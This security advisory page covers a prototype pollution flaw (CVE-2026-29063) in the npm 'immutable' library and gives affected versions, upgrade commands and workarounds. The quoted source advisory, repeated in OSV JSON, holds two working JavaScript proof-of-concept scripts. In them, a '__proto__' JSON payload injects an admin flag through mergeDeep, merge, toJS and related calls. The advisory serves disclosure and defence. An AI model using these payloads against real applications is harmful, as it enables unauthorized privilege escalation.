CVE-2026-29063: Immutable Immutable Is Vulnerable To Prototype Vulnerability

HIGH
Advisory Identifier: GHSA-wf6x-7x77-mvgw
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CVSS 9.8
CWE-1321
Published
Advisory Summary

CVE-2026-29063 is a HIGH (CVSS 9.8) immutable is vulnerable to prototype vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Immutable libraries in the npm ecosystem. The issue involves immutable is vulnerable to prototype pollution. Remediation is available by upgrading affected packages to version 4.3.8, 5.1.5, 3.8.3.

CVE-2026-29063 at a Glance

CVE Identifier CVE-2026-29063
GHSA Identifier GHSA-wf6x-7x77-mvgw
Severity HIGH
CVSS v3.1 Base Score 9.8
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Immutable
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-29063

To remediate this vulnerability, upgrade all affected Immutable dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

immutable fixed: 4.3.8 
npm install immutable@4.3.8
immutable fixed: 5.1.5 
npm install immutable@5.1.5
immutable fixed: 3.8.3 
npm install immutable@3.8.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls immutable

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-29063, inspect your project dependencies using npm:

npm ls immutable

Analyze the terminal output to locate any version of Immutable in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.8), your application is affected.

Note: The npm ls immutable command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Immutable, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against immutable@5.1.4:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)

CVE-2026-29063 Affected Immutable Versions

3 component(s)
Fixed Versions:
4.3.85.1.53.8.3
Product / Package Ecosystem Affected Versions Fixed Version
immutable
npm/immutable
npm
≥ 4.0.0-rc.1
< 4.3.8
4.3.8
immutable
npm/immutable
npm
≥ 5.0.0
< 5.1.5
5.1.5
immutable
npm/immutable
npm
< 3.8.3
3.8.3

References

GitHub Advisory / Wiki ADVISORY
https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw
NVD — CVE-2026-29063 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-29063
Immutable Source Repository REPOSITORY
https://github.com/immutable-js/immutable-js/issues/2178
Security Fix Commit FIX COMMIT
https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945
Security Fix Commit FIX COMMIT
https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9
Security Fix Commit FIX COMMIT
https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb
Immutable Source Repository REPOSITORY
https://github.com/immutable-js/immutable-js
Immutable Release RELEASE
https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3
Immutable Release RELEASE
https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8
Immutable Release RELEASE
https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5

Frequently Asked Questions

What is CVE-2026-29063?
CVE-2026-29063 is a security vulnerability in Immutable involving Immutable is vulnerable to Prototype Pollution under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Immutable versions are affected?
Affected versions include releases prior to 4.3.8, 5.1.5, 3.8.3 across affected packages: immutable.
What version fixes CVE-2026-29063?
Upgrading to 4.3.8, 5.1.5, 3.8.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is immutable affected?
Yes, immutable is affected in releases prior to 4.3.8, 5.1.5, 3.8.3. Upgrade your dependency to 4.3.8, 5.1.5, 3.8.3 or later.
What is the CVSS score of CVE-2026-29063?
CVE-2026-29063 has a CVSS v3.1 base score of 9.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-29063?
CVE-2026-29063 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-29063?
Run the dependency tree command: 'npm ls immutable'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wf6x-7x77-mvgw",
  "modified" : "2026-04-24T20:48:56Z",
  "published" : "2026-03-04T21:28:06Z",
  "aliases" : [ "CVE-2026-29063" ],
  "summary" : "Immutable is vulnerable to Prototype Pollution",
  "details" : "## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API                                     | Notes                                                       |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)`  | Same code path                                              |\n| `merge(target, source)`                    | Shallow variant, same assignment logic                      |\n| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |\n| `Map.toObject()`                            | Same `toObject()` implementation                            |\n| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n  '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve   (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user  (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true  ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) => u.admin === true;\nconst isAdminByRole = (u) => u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true  ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) => b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined  ← global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "immutable"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-rc.1"
      }, {
        "fixed" : "4.3.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "immutable"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.1.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "immutable"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.8.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29063"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/immutable-js/immutable-js/issues/2178"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/immutable-js/immutable-js"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-04T21:28:06Z",
    "nvd_published_at" : "2026-03-06T19:16:21Z"
  }
}